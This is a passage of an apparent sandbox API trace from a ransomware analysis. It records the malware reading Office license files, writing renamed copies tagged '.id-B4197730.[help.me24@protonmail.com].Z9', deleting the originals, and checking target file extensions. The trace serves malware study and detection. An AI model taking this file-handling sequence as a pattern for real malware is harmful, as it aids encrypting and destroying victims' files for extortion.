	[0174.465] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.465] SetEndOfFile (hFile=0x520) returned 1
	[0174.468] CloseHandle (hObject=0x520) returned 1
	[0174.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1
	[0174.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.469] lstrlenW (lpString=".doc") returned 4
	[0174.469] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.469] lstrlenW (lpString=".docx") returned 5
	[0174.469] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.469] lstrlenW (lpString=".pdf") returned 4
	[0174.469] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.469] lstrlenW (lpString=".xls") returned 4
	[0174.469] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.469] lstrlenW (lpString=".xlsx") returned 5
	[0174.469] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.469] lstrlenW (lpString=".ppt") returned 4
	[0174.469] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.469] lstrlenW (lpString=".zip") returned 4
	[0174.469] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString=".rar") returned 4
	[0174.470] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString=".bz2") returned 4
	[0174.470] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString=".7z") returned 3
	[0174.470] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.470] lstrlenW (lpString=".dbf") returned 4
	[0174.470] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.470] lstrlenW (lpString=".1cd") returned 4
	[0174.470] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.470] lstrlenW (lpString=".jpg") returned 4
	[0174.470] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.470] lstrlenW (lpString=".doc") returned 4
	[0174.470] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString=".docx") returned 5
	[0174.470] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.470] lstrlenW (lpString=".pdf") returned 4
	[0174.470] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString=".xls") returned 4
	[0174.470] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString=".xlsx") returned 5
	[0174.470] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.470] lstrlenW (lpString=".ppt") returned 4
	[0174.470] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.470] lstrlenW (lpString=".zip") returned 4
	[0174.470] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.470] lstrlenW (lpString=".rar") returned 4
	[0174.470] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.471] lstrlenW (lpString=".bz2") returned 4
	[0174.471] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.471] lstrlenW (lpString=".7z") returned 3
	[0174.471] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.471] lstrlenW (lpString=".dbf") returned 4
	[0174.471] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.471] lstrlenW (lpString=".1cd") returned 4
	[0174.471] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0174.471] lstrlenW (lpString=".jpg") returned 4
	[0174.471] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.471] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0174.471] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39
	[0174.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0174.472] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=3219) returned 1
	[0174.472] CloseHandle (hObject=0x520) returned 1
	[0174.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220
	[0174.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0174.473] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.473] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0174.474] GetLastError () returned 0x0
	[0174.474] ReadFile (in: hFile=0x520, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xc93, lpOverlapped=0x0) returned 1
	[0174.477] WriteFile (in: hFile=0x52c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xca0, lpOverlapped=0x0) returned 1
	[0174.479] ReadFile (in: hFile=0x520, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.479] WriteFile (in: hFile=0x52c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x122, lpOverlapped=0x0) returned 1
	[0174.479] SetEndOfFile (hFile=0x52c) returned 1
	[0174.479] CloseHandle (hObject=0x52c) returned 1
	[0174.479] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.479] SetEndOfFile (hFile=0x520) returned 1
	[0174.482] CloseHandle (hObject=0x520) returned 1
	[0174.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1
	[0174.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.483] lstrlenW (lpString=".doc") returned 4
	[0174.483] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.483] lstrlenW (lpString=".docx") returned 5
	[0174.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.483] lstrlenW (lpString=".pdf") returned 4
	[0174.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.483] lstrlenW (lpString=".xls") returned 4
	[0174.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString=".xlsx") returned 5
	[0174.484] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.484] lstrlenW (lpString=".ppt") returned 4
	[0174.484] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.484] lstrlenW (lpString=".zip") returned 4
	[0174.484] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString=".rar") returned 4
	[0174.484] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString=".bz2") returned 4
	[0174.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString=".7z") returned 3
	[0174.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.484] lstrlenW (lpString=".dbf") returned 4
	[0174.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.484] lstrlenW (lpString=".1cd") returned 4
	[0174.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.484] lstrlenW (lpString=".jpg") returned 4
	[0174.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.484] lstrlenW (lpString=".doc") returned 4
	[0174.484] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString=".docx") returned 5
	[0174.484] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.484] lstrlenW (lpString=".pdf") returned 4
	[0174.484] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString=".xls") returned 4
	[0174.484] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.484] lstrlenW (lpString=".xlsx") returned 5
	[0174.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.485] lstrlenW (lpString=".ppt") returned 4
	[0174.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.485] lstrlenW (lpString=".zip") returned 4
	[0174.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.485] lstrlenW (lpString=".rar") returned 4
	[0174.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.485] lstrlenW (lpString=".bz2") returned 4
	[0174.485] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.485] lstrlenW (lpString=".7z") returned 3
	[0174.485] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.485] lstrlenW (lpString=".dbf") returned 4
	[0174.485] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.485] lstrlenW (lpString=".1cd") returned 4
	[0174.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0174.485] lstrlenW (lpString=".jpg") returned 4
	[0174.485] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.485] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0174.485] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27
	[0174.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0175.255] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=3103) returned 1
	[0175.255] CloseHandle (hObject=0x54c) returned 1
	[0175.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220
	[0175.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.281] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.281] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0175.290] GetLastError () returned 0x0
	[0175.290] ReadFile (in: hFile=0x554, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xc1f, lpOverlapped=0x0) returned 1
	[0175.292] WriteFile (in: hFile=0x438, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xc20, lpOverlapped=0x0) returned 1
	[0175.293] ReadFile (in: hFile=0x554, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.293] WriteFile (in: hFile=0x438, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10a, lpOverlapped=0x0) returned 1
	[0175.293] SetEndOfFile (hFile=0x438) returned 1
	[0175.293] CloseHandle (hObject=0x438) returned 1
	[0175.293] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.293] SetEndOfFile (hFile=0x554) returned 1
	[0175.296] CloseHandle (hObject=0x554) returned 1
	[0175.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1
	[0175.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.297] lstrlenW (lpString=".doc") returned 4
	[0175.297] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.297] lstrlenW (lpString=".docx") returned 5
	[0175.297] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.297] lstrlenW (lpString=".pdf") returned 4
	[0175.297] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.297] lstrlenW (lpString=".xls") returned 4
	[0175.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.297] lstrlenW (lpString=".xlsx") returned 5
	[0175.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.297] lstrlenW (lpString=".ppt") returned 4
	[0175.297] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.297] lstrlenW (lpString=".zip") returned 4
	[0175.297] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.297] lstrlenW (lpString=".rar") returned 4
	[0175.297] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.297] lstrlenW (lpString=".bz2") returned 4
	[0175.298] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString=".7z") returned 3
	[0175.298] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.298] lstrlenW (lpString=".dbf") returned 4
	[0175.298] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.298] lstrlenW (lpString=".1cd") returned 4
	[0175.298] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.298] lstrlenW (lpString=".jpg") returned 4
	[0175.298] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.298] lstrlenW (lpString=".doc") returned 4
	[0175.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString=".docx") returned 5
	[0175.298] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.298] lstrlenW (lpString=".pdf") returned 4
	[0175.298] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString=".xls") returned 4
	[0175.298] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString=".xlsx") returned 5
	[0175.298] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.298] lstrlenW (lpString=".ppt") returned 4
	[0175.298] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.298] lstrlenW (lpString=".zip") returned 4
	[0175.298] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString=".rar") returned 4
	[0175.298] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString=".bz2") returned 4
	[0175.298] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.298] lstrlenW (lpString=".7z") returned 3
	[0175.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.299] lstrlenW (lpString=".dbf") returned 4
	[0175.299] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.299] lstrlenW (lpString=".1cd") returned 4
	[0175.299] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0175.299] lstrlenW (lpString=".jpg") returned 4
	[0175.299] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.299] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.299] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23
	[0175.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.300] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=20841) returned 1
	[0175.300] CloseHandle (hObject=0x554) returned 1
	[0175.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220
	[0175.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.300] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.301] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0175.301] GetLastError () returned 0x0
	[0175.301] ReadFile (in: hFile=0x554, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x5169, lpOverlapped=0x0) returned 1
	[0175.348] WriteFile (in: hFile=0x438, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x5170, lpOverlapped=0x0) returned 1
	[0175.349] ReadFile (in: hFile=0x554, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
